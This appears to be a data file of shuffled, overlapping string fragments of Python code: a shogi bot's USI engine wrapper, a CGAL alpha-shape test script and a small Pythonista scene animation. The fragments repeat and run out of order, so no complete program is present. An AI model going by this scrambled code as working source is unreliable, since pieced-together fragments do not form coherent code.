\"BOT\" else \"human\" def report_game_result(self, game, board): self.engine.protocol._position(board)", "commands, options, go_commands={}, silence_stderr=False): commands = commands[0] if len(commands) ==", "game.initial_fen, moves, nodes=cmds.get(\"nodes\"), depth=cmds.get(\"depth\"), movetime=cmds.get(\"movetime\"), ponder=ponder ) else: best_move, ponder_move", "if stat in info: stats_str.append(\"{}: {}\".format(stat, info[stat])) return stats_str def", "[] for stat in stats: if stat in info: stats_str.append(\"{}:", "pass class USIEngine(EngineWrapper): def __init__(self, board, commands, options, go_commands={}, silence_stderr=False):", "cfg.get(\"usi_options\", {}), cfg.get(\"go_commands\", {}), silence_stderr) class EngineWrapper: def __init__(self, board,", "= logging.getLogger(__name__) import engine_ctrl @backoff.on_exception(backoff.expo, BaseException, max_time=120) def create_engine(config, board):", "engine_ctrl.Engine(commands) self.engine.usi() if options: for name, value in options.items(): self.engine.setoption(name,", "movetime=cmds.get(\"movetime\") ) return best_move def stop(self): self.engine.kill_process() def print_stats(self, stats=None):", "in list(board.move_stack)] best_move, _ = self.engine.go( game.initial_fen, moves, btime=btime, wtime=wtime,", "util import * import logging logger = logging.getLogger(__name__) import engine_ctrl", "(best_move, ponder_move) def search(self, game, board, btime, wtime, binc, winc):", "self.engine.info stats_str = [] for stat in stats: if stat", "board, btime, wtime, binc, winc, byo, ponder=False): moves = [m.usi()", "best_move def stop(self): self.engine.kill_process() def print_stats(self, stats=None): if stats is", "engine_path = os.path.realpath(os.path.join(cfg[\"dir\"], cfg[\"name\"])) engine_type = cfg.get(\"protocol\") engine_options = cfg.get(\"engine_options\")", "go_commands self.engine = engine_ctrl.Engine(commands) self.engine.usi() if options: for name, value", "in info: logger.info(\"{}: {}\".format(stat, info[stat])) def get_stats(self, stats=None): if stats", "logging.getLogger(__name__) import engine_ctrl @backoff.on_exception(backoff.expo, BaseException, max_time=120) def create_engine(config, board): cfg", "byo=byo, ponder=ponder ) return (best_move, ponder_move) def search(self, game, board,", "title = game.opponent.title if game.opponent.title else \"none\" player_type = \"computer\"", "logging logger = logging.getLogger(__name__) import engine_ctrl @backoff.on_exception(backoff.expo, BaseException, max_time=120) def", "logger = logging.getLogger(__name__) import engine_ctrl @backoff.on_exception(backoff.expo, BaseException, max_time=120) def create_engine(config,", "wtime, binc, winc): pass def print_stats(self): pass def get_opponent_info(self, game):", "self.go_commands if len(cmds) > 0: best_move, ponder_move = self.engine.go( game.initial_fen,", "self.engine.go( game.initial_fen, moves, btime=btime, wtime=wtime, binc=binc, winc=winc, byo=byo, ponder=ponder )", "self.go_commands = go_commands self.engine = engine_ctrl.Engine(commands) self.engine.usi() if options: for", "shogi import backoff import subprocess from util import * import", "winc): cmds = self.go_commands moves = [m.usi() for m in", "= game.opponent.title if game.opponent.title else \"none\" player_type = \"computer\" if", "= [engine_path] if engine_options: for k, v in engine_options.items(): commands.append(\"--{}={}\".format(k,", "list(board.move_stack)] best_move, _ = self.engine.go( game.initial_fen, moves, btime=btime, wtime=wtime, binc=binc,", "= [m.usi() for m in list(board.move_stack)] best_move, _ = self.engine.go(", "get_stats(self, stats=None): if stats is None: stats = ['score', 'depth',", "search_with_ponder(self, game, board, btime, wtime, binc, winc, byo, ponder=False): moves", "for m in list(board.move_stack)] best_move, _ = self.engine.go( game.initial_fen, moves,", "cfg.get(\"silence_stderr\", False) return USIEngine(board, commands, cfg.get(\"usi_options\", {}), cfg.get(\"go_commands\", {}), silence_stderr)", "player_type = \"computer\" if title == \"BOT\" else \"human\" def", "is None: stats = ['score', 'depth', 'nodes', 'nps'] info =", "self.engine.go( game.initial_fen, moves, nodes=cmds.get(\"nodes\"), depth=cmds.get(\"depth\"), movetime=cmds.get(\"movetime\"), ponder=ponder ) else: best_move,", ") return best_move def stop(self): self.engine.kill_process() def print_stats(self, stats=None): if", "os import shogi import backoff import subprocess from util import", "create_engine(config, board): cfg = config[\"engine\"] engine_path = os.path.realpath(os.path.join(cfg[\"dir\"], cfg[\"name\"])) engine_type", "stat in info: logger.info(\"{}: {}\".format(stat, info[stat])) def get_stats(self, stats=None): if", "__init__(self, board, commands, options, go_commands={}, silence_stderr=False): commands = commands[0] if", "game): name = game.opponent.name if name: rating = game.opponent.rating if", "btime, wtime, binc, winc, byo, ponder=False): moves = [m.usi() for", "options.items(): self.engine.setoption(name, value) self.engine.isready() def first_search(self, board, movetime): best_move, _", "= self.go_commands moves = [m.usi() for m in list(board.move_stack)] best_move,", "def get_opponent_info(self, game): name = game.opponent.name if name: rating =", "options: for name, value in options.items(): self.engine.setoption(name, value) self.engine.isready() def", "name: rating = game.opponent.rating if game.opponent.rating is not None else", "is not None else \"none\" title = game.opponent.title if game.opponent.title", "len(cmds) > 0: best_move, ponder_move = self.engine.go( game.initial_fen, moves, nodes=cmds.get(\"nodes\"),", "m in list(board.move_stack)] best_move, _ = self.engine.go( game.initial_fen, moves, btime=btime,", "@backoff.on_exception(backoff.expo, BaseException, max_time=120) def create_engine(config, board): cfg = config[\"engine\"] engine_path", "stats_str = [] for stat in stats: if stat in", "def __init__(self, board, commands, options=None, silence_stderr=False): pass def search_for(self, board,", "btime=btime, wtime=wtime, binc=binc, winc=winc, depth=cmds.get(\"depth\"), nodes=cmds.get(\"nodes\"), movetime=cmds.get(\"movetime\") ) return best_move", "= commands[0] if len(commands) == 1 else commands self.go_commands =", "silence_stderr = cfg.get(\"silence_stderr\", False) return USIEngine(board, commands, cfg.get(\"usi_options\", {}), cfg.get(\"go_commands\",", "{}\".format(stat, info[stat])) return stats_str def get_opponent_info(self, game): name = game.opponent.name", "self.engine.name def report_game_result(self, game, board): pass def quit(self): self.engine.kill_process() def", "report_game_result(self, game, board): pass def quit(self): self.engine.kill_process() def print_handler_stats(self): pass", "def get_opponent_info(self, game): pass def name(self): return self.engine.name def report_game_result(self,", "'nps'] info = self.engine.info stats_str = [] for stat in", "= ['score', 'depth', 'nodes', 'nps'] info = self.engine.info stats_str =", "if options: for name, value in options.items(): self.engine.setoption(name, value) self.engine.isready()", "= os.path.realpath(os.path.join(cfg[\"dir\"], cfg[\"name\"])) engine_type = cfg.get(\"protocol\") engine_options = cfg.get(\"engine_options\") commands", "m in list(board.move_stack)] cmds = self.go_commands if len(cmds) > 0:", "stats_str.append(\"{}: {}\".format(stat, info[stat])) return stats_str def get_opponent_info(self, game): name =", "def quit(self): self.engine.kill_process() def print_handler_stats(self): pass def get_handler_stats(self): pass class", "game, board, btime, wtime, binc, winc): pass def print_stats(self): pass", "cfg.get(\"go_commands\", {}), silence_stderr) class EngineWrapper: def __init__(self, board, commands, options=None,", "for stat in stats: if stat in info: logger.info(\"{}: {}\".format(stat,", "else: best_move, ponder_move = self.engine.go( game.initial_fen, moves, btime=btime, wtime=wtime, binc=binc,", "cmds = self.go_commands if len(cmds) > 0: best_move, ponder_move =", "board, commands, options, go_commands={}, silence_stderr=False): commands = commands[0] if len(commands)", "cmds = self.go_commands moves = [m.usi() for m in list(board.move_stack)]", "def report_game_result(self, game, board): pass def quit(self): self.engine.kill_process() def print_handler_stats(self):", "= [m.usi() for m in list(board.move_stack)] cmds = self.go_commands if", "= self.go_commands if len(cmds) > 0: best_move, ponder_move = self.engine.go(", "binc=binc, winc=winc, depth=cmds.get(\"depth\"), nodes=cmds.get(\"nodes\"), movetime=cmds.get(\"movetime\") ) return best_move def stop(self):", "game.opponent.title else \"none\" player_type = \"computer\" if title == \"BOT\"", "print_stats(self): pass def get_opponent_info(self, game): pass def name(self): return self.engine.name", "not None else \"none\" title = game.opponent.title if game.opponent.title else", "self.engine.setoption(name, value) self.engine.isready() def first_search(self, board, movetime): best_move, _ =", "= self.engine.go( game.initial_fen, moves, btime=btime, wtime=wtime, binc=binc, winc=winc, byo=byo, ponder=ponder", "for name, value in options.items(): self.engine.setoption(name, value) self.engine.isready() def first_search(self,", "= cfg.get(\"engine_options\") commands = [engine_path] if engine_options: for k, v", "in engine_options.items(): commands.append(\"--{}={}\".format(k, v)) silence_stderr = cfg.get(\"silence_stderr\", False) return USIEngine(board,", "\"none\" player_type = \"computer\" if title == \"BOT\" else \"human\"", "search_for(self, board, movetime): pass def first_search(self, board, movetime): pass def", "get_handler_stats(self): pass class USIEngine(EngineWrapper): def __init__(self, board, commands, options, go_commands={},", "info[stat])) def get_stats(self, stats=None): if stats is None: stats =", "{}), cfg.get(\"go_commands\", {}), silence_stderr) class EngineWrapper: def __init__(self, board, commands,", "ponder_move = self.engine.go( game.initial_fen, moves, nodes=cmds.get(\"nodes\"), depth=cmds.get(\"depth\"), movetime=cmds.get(\"movetime\"), ponder=ponder )", "None else \"none\" title = game.opponent.title if game.opponent.title else \"none\"", "return best_move def stop(self): self.engine.kill_process() def print_stats(self, stats=None): if stats", "info = self.engine.info stats_str = [] for stat in stats:", "engine_options: for k, v in engine_options.items(): commands.append(\"--{}={}\".format(k, v)) silence_stderr =", "def first_search(self, board, movetime): best_move, _ = self.engine.go(board.sfen(), \"\", movetime=movetime)", "for stat in stats: if stat in info: stats_str.append(\"{}: {}\".format(stat,", "subprocess from util import * import logging logger = logging.getLogger(__name__)", "[m.usi() for m in list(board.move_stack)] best_move, _ = self.engine.go( game.initial_fen,", "os.path.realpath(os.path.join(cfg[\"dir\"], cfg[\"name\"])) engine_type = cfg.get(\"protocol\") engine_options = cfg.get(\"engine_options\") commands =", "game, board, btime, wtime, binc, winc, byo, ponder=False): moves =", "first_search(self, board, movetime): best_move, _ = self.engine.go(board.sfen(), \"\", movetime=movetime) return", "pass def get_opponent_info(self, game): pass def name(self): return self.engine.name def", "depth=cmds.get(\"depth\"), movetime=cmds.get(\"movetime\"), ponder=ponder ) else: best_move, ponder_move = self.engine.go( game.initial_fen,", "for k, v in engine_options.items(): commands.append(\"--{}={}\".format(k, v)) silence_stderr = cfg.get(\"silence_stderr\",", "binc, winc, byo, ponder=False): moves = [m.usi() for m in", "winc, byo, ponder=False): moves = [m.usi() for m in list(board.move_stack)]", "movetime): pass def first_search(self, board, movetime): pass def search(self, game,", "moves = [m.usi() for m in list(board.move_stack)] cmds = self.go_commands" ]
[ "from CGAL.CGAL_Alpha_shape_2 import GENERAL, EXTERIOR, SINGULAR, REGULAR, INTERIOR from CGAL.CGAL_Alpha_shape_2", "lst.append(Point_2(44, 5)) lst.append(Point_2(444, 51)) lst.append(Point_2(14, 1)) t = Alpha_shape_2(lst, 0,", "t.make_alpha_shape(lst) for d in t.alpha(): print(d) for v in t.finite_vertices():", "t2 = Alpha_shape_2(lst, 0) t.clear() t.make_alpha_shape(lst) for d in t.alpha():", "lst.append(Point_2(44, 0)) lst.append(Point_2(44, 5)) lst.append(Point_2(444, 51)) lst.append(Point_2(14, 1)) t =", "1)) lst_wp.append(Weighted_point_2(Point_2(44, 0), 1)) lst_wp.append(Weighted_point_2(Point_2(44, 5), 1)) lst_wp.append(Weighted_point_2(Point_2(444, 51), 1))", "elif type == EXTERIOR: print(\"EXTERIOR\") for f in t.finite_faces(): i", "0) t.clear() t.make_alpha_shape(lst) for d in t.alpha(): print(d) for v", "= [] lst.append(Point_2(0, 0)) lst.append(Point_2(0, 4)) lst.append(Point_2(44, 0)) lst.append(Point_2(44, 5))", "t.finite_vertices(): type = t.classify(v) print(v.get_range()[0]) if type == INTERIOR: print(\"INTERIOR\")", "Alpha_shape_2_Vertex_handle from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2_Face_handle from CGAL.CGAL_Alpha_shape_2 import Face_Interval_3 lst", "= Weighted_alpha_shape_2() lst_wp = [] lst_wp.append(Weighted_point_2(Point_2(0, 0), 1)) lst_wp.append(Weighted_point_2(Point_2(0, 4),", "INTERIOR: print(\"INTERIOR\") elif type == SINGULAR: print(\"SINGULAR\") elif type ==", "if type == INTERIOR: print(\"INTERIOR\") elif type == SINGULAR: print(\"SINGULAR\")", "Weighted_alpha_shape_2 from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2_Face_handle from CGAL.CGAL_Alpha_shape_2 import GENERAL, EXTERIOR,", "lst.append(Point_2(0, 0)) lst.append(Point_2(0, 4)) lst.append(Point_2(44, 0)) lst.append(Point_2(44, 5)) lst.append(Point_2(444, 51))", "CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2_Face_handle from CGAL.CGAL_Alpha_shape_2 import GENERAL, EXTERIOR, SINGULAR, REGULAR,", "EXTERIOR: print(\"EXTERIOR\") for f in t.finite_faces(): i = f.get_ranges(0) print(i.first)", "0)) lst.append(Point_2(0, 4)) lst.append(Point_2(44, 0)) lst.append(Point_2(44, 5)) lst.append(Point_2(444, 51)) lst.append(Point_2(14,", "= t.classify(v) print(v.get_range()[0]) if type == INTERIOR: print(\"INTERIOR\") elif type", "Alpha_shape_2_Face_handle from CGAL.CGAL_Alpha_shape_2 import Face_Interval_3 lst = [] lst.append(Point_2(0, 0))", "0), 1)) lst_wp.append(Weighted_point_2(Point_2(44, 5), 1)) lst_wp.append(Weighted_point_2(Point_2(444, 51), 1)) lst_wp.append(Weighted_point_2(Point_2(14, 1),", "SINGULAR: print(\"SINGULAR\") elif type == REGULAR: print(\"REGULAR\") elif type ==", "import Weighted_alpha_shape_2 from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2_Face_handle from CGAL.CGAL_Alpha_shape_2 import GENERAL,", "SINGULAR, REGULAR, INTERIOR from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2_Vertex_handle from CGAL.CGAL_Alpha_shape_2 import", "== EXTERIOR: print(\"EXTERIOR\") for f in t.finite_faces(): i = f.get_ranges(0)", "= [] lst_wp.append(Weighted_point_2(Point_2(0, 0), 1)) lst_wp.append(Weighted_point_2(Point_2(0, 4), 1)) lst_wp.append(Weighted_point_2(Point_2(44, 0),", "import Alpha_shape_2 from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2 from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2_Face_handle", "t.clear() t.make_alpha_shape(lst) for d in t.alpha(): print(d) for v in", "GENERAL) t2 = Alpha_shape_2(lst, 0) t.clear() t.make_alpha_shape(lst) for d in", "print(i.first) print(i.second) print(i.third) was = Weighted_alpha_shape_2() lst_wp = [] lst_wp.append(Weighted_point_2(Point_2(0,", "Weighted_alpha_shape_2() lst_wp = [] lst_wp.append(Weighted_point_2(Point_2(0, 0), 1)) lst_wp.append(Weighted_point_2(Point_2(0, 4), 1))", "51)) lst.append(Point_2(14, 1)) t = Alpha_shape_2(lst, 0, GENERAL) t2 =", "print(v.get_range()[0]) if type == INTERIOR: print(\"INTERIOR\") elif type == SINGULAR:", "CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2_Face_handle from CGAL.CGAL_Alpha_shape_2 import Face_Interval_3 lst = []", "[] lst.append(Point_2(0, 0)) lst.append(Point_2(0, 4)) lst.append(Point_2(44, 0)) lst.append(Point_2(44, 5)) lst.append(Point_2(444,", "print(\"EXTERIOR\") for f in t.finite_faces(): i = f.get_ranges(0) print(i.first) print(i.second)", "from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2_Face_handle from CGAL.CGAL_Alpha_shape_2 import GENERAL, EXTERIOR, SINGULAR,", "Face_Interval_3 lst = [] lst.append(Point_2(0, 0)) lst.append(Point_2(0, 4)) lst.append(Point_2(44, 0))", "5)) lst.append(Point_2(444, 51)) lst.append(Point_2(14, 1)) t = Alpha_shape_2(lst, 0, GENERAL)", "from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2 from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2 from CGAL.CGAL_Alpha_shape_2", "type == SINGULAR: print(\"SINGULAR\") elif type == REGULAR: print(\"REGULAR\") elif", "CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2 from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2_Face_handle from CGAL.CGAL_Alpha_shape_2 import", "t.classify(v) print(v.get_range()[0]) if type == INTERIOR: print(\"INTERIOR\") elif type ==", "= Alpha_shape_2(lst, 0) t.clear() t.make_alpha_shape(lst) for d in t.alpha(): print(d)", "type == REGULAR: print(\"REGULAR\") elif type == EXTERIOR: print(\"EXTERIOR\") for", "type == EXTERIOR: print(\"EXTERIOR\") for f in t.finite_faces(): i =", "lst_wp.append(Weighted_point_2(Point_2(0, 4), 1)) lst_wp.append(Weighted_point_2(Point_2(44, 0), 1)) lst_wp.append(Weighted_point_2(Point_2(44, 5), 1)) lst_wp.append(Weighted_point_2(Point_2(444,", "from CGAL.CGAL_Kernel import Point_2 from CGAL.CGAL_Kernel import Weighted_point_2 from CGAL.CGAL_Alpha_shape_2", "0), 1)) lst_wp.append(Weighted_point_2(Point_2(0, 4), 1)) lst_wp.append(Weighted_point_2(Point_2(44, 0), 1)) lst_wp.append(Weighted_point_2(Point_2(44, 5),", "print(\"REGULAR\") elif type == EXTERIOR: print(\"EXTERIOR\") for f in t.finite_faces():", "from CGAL.CGAL_Kernel import Weighted_point_2 from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2 from CGAL.CGAL_Alpha_shape_2", "lst_wp.append(Weighted_point_2(Point_2(44, 5), 1)) lst_wp.append(Weighted_point_2(Point_2(444, 51), 1)) lst_wp.append(Weighted_point_2(Point_2(14, 1), 1)) was.make_alpha_shape(lst_wp)", "Alpha_shape_2(lst, 0) t.clear() t.make_alpha_shape(lst) for d in t.alpha(): print(d) for", "f in t.finite_faces(): i = f.get_ranges(0) print(i.first) print(i.second) print(i.third) was", "lst_wp = [] lst_wp.append(Weighted_point_2(Point_2(0, 0), 1)) lst_wp.append(Weighted_point_2(Point_2(0, 4), 1)) lst_wp.append(Weighted_point_2(Point_2(44,", "EXTERIOR, SINGULAR, REGULAR, INTERIOR from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2_Vertex_handle from CGAL.CGAL_Alpha_shape_2", "i = f.get_ranges(0) print(i.first) print(i.second) print(i.third) was = Weighted_alpha_shape_2() lst_wp", "from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2_Face_handle from CGAL.CGAL_Alpha_shape_2 import Face_Interval_3 lst =", "Weighted_point_2 from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2 from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2 from", "Alpha_shape_2(lst, 0, GENERAL) t2 = Alpha_shape_2(lst, 0) t.clear() t.make_alpha_shape(lst) for", "was = Weighted_alpha_shape_2() lst_wp = [] lst_wp.append(Weighted_point_2(Point_2(0, 0), 1)) lst_wp.append(Weighted_point_2(Point_2(0,", "d in t.alpha(): print(d) for v in t.finite_vertices(): type =", "CGAL.CGAL_Kernel import Point_2 from CGAL.CGAL_Kernel import Weighted_point_2 from CGAL.CGAL_Alpha_shape_2 import", "INTERIOR from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2_Vertex_handle from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2_Face_handle from", "lst_wp.append(Weighted_point_2(Point_2(0, 0), 1)) lst_wp.append(Weighted_point_2(Point_2(0, 4), 1)) lst_wp.append(Weighted_point_2(Point_2(44, 0), 1)) lst_wp.append(Weighted_point_2(Point_2(44,", "import Weighted_point_2 from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2 from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2", "for f in t.finite_faces(): i = f.get_ranges(0) print(i.first) print(i.second) print(i.third)", "== SINGULAR: print(\"SINGULAR\") elif type == REGULAR: print(\"REGULAR\") elif type", "for v in t.finite_vertices(): type = t.classify(v) print(v.get_range()[0]) if type", "== INTERIOR: print(\"INTERIOR\") elif type == SINGULAR: print(\"SINGULAR\") elif type", "lst = [] lst.append(Point_2(0, 0)) lst.append(Point_2(0, 4)) lst.append(Point_2(44, 0)) lst.append(Point_2(44,", "lst.append(Point_2(14, 1)) t = Alpha_shape_2(lst, 0, GENERAL) t2 = Alpha_shape_2(lst,", "print(d) for v in t.finite_vertices(): type = t.classify(v) print(v.get_range()[0]) if", "CGAL.CGAL_Alpha_shape_2 import Face_Interval_3 lst = [] lst.append(Point_2(0, 0)) lst.append(Point_2(0, 4))", "import Face_Interval_3 lst = [] lst.append(Point_2(0, 0)) lst.append(Point_2(0, 4)) lst.append(Point_2(44,", "import Alpha_shape_2_Face_handle from CGAL.CGAL_Alpha_shape_2 import Face_Interval_3 lst = [] lst.append(Point_2(0,", "v in t.finite_vertices(): type = t.classify(v) print(v.get_range()[0]) if type ==", "f.get_ranges(0) print(i.first) print(i.second) print(i.third) was = Weighted_alpha_shape_2() lst_wp = []", "4)) lst.append(Point_2(44, 0)) lst.append(Point_2(44, 5)) lst.append(Point_2(444, 51)) lst.append(Point_2(14, 1)) t", "lst_wp.append(Weighted_point_2(Point_2(44, 0), 1)) lst_wp.append(Weighted_point_2(Point_2(44, 5), 1)) lst_wp.append(Weighted_point_2(Point_2(444, 51), 1)) lst_wp.append(Weighted_point_2(Point_2(14,", "REGULAR: print(\"REGULAR\") elif type == EXTERIOR: print(\"EXTERIOR\") for f in", "t = Alpha_shape_2(lst, 0, GENERAL) t2 = Alpha_shape_2(lst, 0) t.clear()", "t.alpha(): print(d) for v in t.finite_vertices(): type = t.classify(v) print(v.get_range()[0])", "import Weighted_alpha_shape_2_Face_handle from CGAL.CGAL_Alpha_shape_2 import GENERAL, EXTERIOR, SINGULAR, REGULAR, INTERIOR", "REGULAR, INTERIOR from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2_Vertex_handle from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2_Face_handle", "Weighted_alpha_shape_2_Face_handle from CGAL.CGAL_Alpha_shape_2 import GENERAL, EXTERIOR, SINGULAR, REGULAR, INTERIOR from", "from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2 from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2_Face_handle from CGAL.CGAL_Alpha_shape_2", "= Alpha_shape_2(lst, 0, GENERAL) t2 = Alpha_shape_2(lst, 0) t.clear() t.make_alpha_shape(lst)", "1)) lst_wp.append(Weighted_point_2(Point_2(44, 5), 1)) lst_wp.append(Weighted_point_2(Point_2(444, 51), 1)) lst_wp.append(Weighted_point_2(Point_2(14, 1), 1))", "import Alpha_shape_2_Vertex_handle from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2_Face_handle from CGAL.CGAL_Alpha_shape_2 import Face_Interval_3", "Point_2 from CGAL.CGAL_Kernel import Weighted_point_2 from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2 from", "0)) lst.append(Point_2(44, 5)) lst.append(Point_2(444, 51)) lst.append(Point_2(14, 1)) t = Alpha_shape_2(lst,", "import GENERAL, EXTERIOR, SINGULAR, REGULAR, INTERIOR from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2_Vertex_handle", "Alpha_shape_2 from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2 from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2_Face_handle from", "lst.append(Point_2(0, 4)) lst.append(Point_2(44, 0)) lst.append(Point_2(44, 5)) lst.append(Point_2(444, 51)) lst.append(Point_2(14, 1))", "import Point_2 from CGAL.CGAL_Kernel import Weighted_point_2 from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2", "print(\"INTERIOR\") elif type == SINGULAR: print(\"SINGULAR\") elif type == REGULAR:", "in t.finite_faces(): i = f.get_ranges(0) print(i.first) print(i.second) print(i.third) was =", "from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2_Vertex_handle from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2_Face_handle from CGAL.CGAL_Alpha_shape_2", "CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2_Vertex_handle from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2_Face_handle from CGAL.CGAL_Alpha_shape_2 import", "CGAL.CGAL_Kernel import Weighted_point_2 from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2 from CGAL.CGAL_Alpha_shape_2 import", "[] lst_wp.append(Weighted_point_2(Point_2(0, 0), 1)) lst_wp.append(Weighted_point_2(Point_2(0, 4), 1)) lst_wp.append(Weighted_point_2(Point_2(44, 0), 1))", "t.finite_faces(): i = f.get_ranges(0) print(i.first) print(i.second) print(i.third) was = Weighted_alpha_shape_2()", "print(i.second) print(i.third) was = Weighted_alpha_shape_2() lst_wp = [] lst_wp.append(Weighted_point_2(Point_2(0, 0),", "0, GENERAL) t2 = Alpha_shape_2(lst, 0) t.clear() t.make_alpha_shape(lst) for d", "== REGULAR: print(\"REGULAR\") elif type == EXTERIOR: print(\"EXTERIOR\") for f", "GENERAL, EXTERIOR, SINGULAR, REGULAR, INTERIOR from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2_Vertex_handle from", "CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2 from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2 from CGAL.CGAL_Alpha_shape_2 import", "in t.finite_vertices(): type = t.classify(v) print(v.get_range()[0]) if type == INTERIOR:", "from CGAL.CGAL_Alpha_shape_2 import Face_Interval_3 lst = [] lst.append(Point_2(0, 0)) lst.append(Point_2(0,", "1)) lst_wp.append(Weighted_point_2(Point_2(0, 4), 1)) lst_wp.append(Weighted_point_2(Point_2(44, 0), 1)) lst_wp.append(Weighted_point_2(Point_2(44, 5), 1))", "in t.alpha(): print(d) for v in t.finite_vertices(): type = t.classify(v)", "print(i.third) was = Weighted_alpha_shape_2() lst_wp = [] lst_wp.append(Weighted_point_2(Point_2(0, 0), 1))", "lst.append(Point_2(444, 51)) lst.append(Point_2(14, 1)) t = Alpha_shape_2(lst, 0, GENERAL) t2", "= f.get_ranges(0) print(i.first) print(i.second) print(i.third) was = Weighted_alpha_shape_2() lst_wp =", "4), 1)) lst_wp.append(Weighted_point_2(Point_2(44, 0), 1)) lst_wp.append(Weighted_point_2(Point_2(44, 5), 1)) lst_wp.append(Weighted_point_2(Point_2(444, 51),", "print(\"SINGULAR\") elif type == REGULAR: print(\"REGULAR\") elif type == EXTERIOR:", "elif type == REGULAR: print(\"REGULAR\") elif type == EXTERIOR: print(\"EXTERIOR\")", "type == INTERIOR: print(\"INTERIOR\") elif type == SINGULAR: print(\"SINGULAR\") elif", "for d in t.alpha(): print(d) for v in t.finite_vertices(): type", "1)) t = Alpha_shape_2(lst, 0, GENERAL) t2 = Alpha_shape_2(lst, 0)", "type = t.classify(v) print(v.get_range()[0]) if type == INTERIOR: print(\"INTERIOR\") elif", "elif type == SINGULAR: print(\"SINGULAR\") elif type == REGULAR: print(\"REGULAR\")", "CGAL.CGAL_Alpha_shape_2 import GENERAL, EXTERIOR, SINGULAR, REGULAR, INTERIOR from CGAL.CGAL_Alpha_shape_2 import" ]
[ "<reponame>pavithra-mahamani/TAF ''' Created on Jan 18, 2018 @author: riteshagarwal '''", "''' java = False rest = False cli = False", "''' Created on Jan 18, 2018 @author: riteshagarwal ''' java", "2018 @author: riteshagarwal ''' java = False rest = False", "18, 2018 @author: riteshagarwal ''' java = False rest =", "@author: riteshagarwal ''' java = False rest = False cli", "on Jan 18, 2018 @author: riteshagarwal ''' java = False", "Created on Jan 18, 2018 @author: riteshagarwal ''' java =", "Jan 18, 2018 @author: riteshagarwal ''' java = False rest", "riteshagarwal ''' java = False rest = False cli =" ]
[ "< 340: self.label_node.position = (x+2, y) else: self.start_flag = False", "def setup(self): self.label_node = scene.LabelNode('A', position=(100,400), parent=self) self.start_flag = False", "(x+2, y) else: self.start_flag = False def touch_ended(self, touch): self.start_flag", "if self.start_flag: x,y = self.label_node.position if x < 340: self.label_node.position", "y) else: self.start_flag = False def touch_ended(self, touch): self.start_flag =", "x,y = self.label_node.position if x < 340: self.label_node.position = (x+2,", "self.start_flag = False def update(self): if self.start_flag: x,y = self.label_node.position", "import scene class MyScene(scene.Scene): def setup(self): self.label_node = scene.LabelNode('A', position=(100,400),", "class MyScene(scene.Scene): def setup(self): self.label_node = scene.LabelNode('A', position=(100,400), parent=self) self.start_flag", "scene class MyScene(scene.Scene): def setup(self): self.label_node = scene.LabelNode('A', position=(100,400), parent=self)", "340: self.label_node.position = (x+2, y) else: self.start_flag = False def", "self.label_node = scene.LabelNode('A', position=(100,400), parent=self) self.start_flag = False def update(self):", "= self.label_node.position if x < 340: self.label_node.position = (x+2, y)", "self.label_node.position if x < 340: self.label_node.position = (x+2, y) else:", "self.label_node.position = (x+2, y) else: self.start_flag = False def touch_ended(self,", "= False def update(self): if self.start_flag: x,y = self.label_node.position if", "setup(self): self.label_node = scene.LabelNode('A', position=(100,400), parent=self) self.start_flag = False def", "def update(self): if self.start_flag: x,y = self.label_node.position if x <", "update(self): if self.start_flag: x,y = self.label_node.position if x < 340:", "= (x+2, y) else: self.start_flag = False def touch_ended(self, touch):", "MyScene(scene.Scene): def setup(self): self.label_node = scene.LabelNode('A', position=(100,400), parent=self) self.start_flag =", "scene.LabelNode('A', position=(100,400), parent=self) self.start_flag = False def update(self): if self.start_flag:", "self.start_flag: x,y = self.label_node.position if x < 340: self.label_node.position =", "= scene.LabelNode('A', position=(100,400), parent=self) self.start_flag = False def update(self): if", "parent=self) self.start_flag = False def update(self): if self.start_flag: x,y =", "if x < 340: self.label_node.position = (x+2, y) else: self.start_flag", "x < 340: self.label_node.position = (x+2, y) else: self.start_flag =", "else: self.start_flag = False def touch_ended(self, touch): self.start_flag = True", "position=(100,400), parent=self) self.start_flag = False def update(self): if self.start_flag: x,y", "self.start_flag = False def touch_ended(self, touch): self.start_flag = True scene.run(MyScene())", "False def update(self): if self.start_flag: x,y = self.label_node.position if x" ]
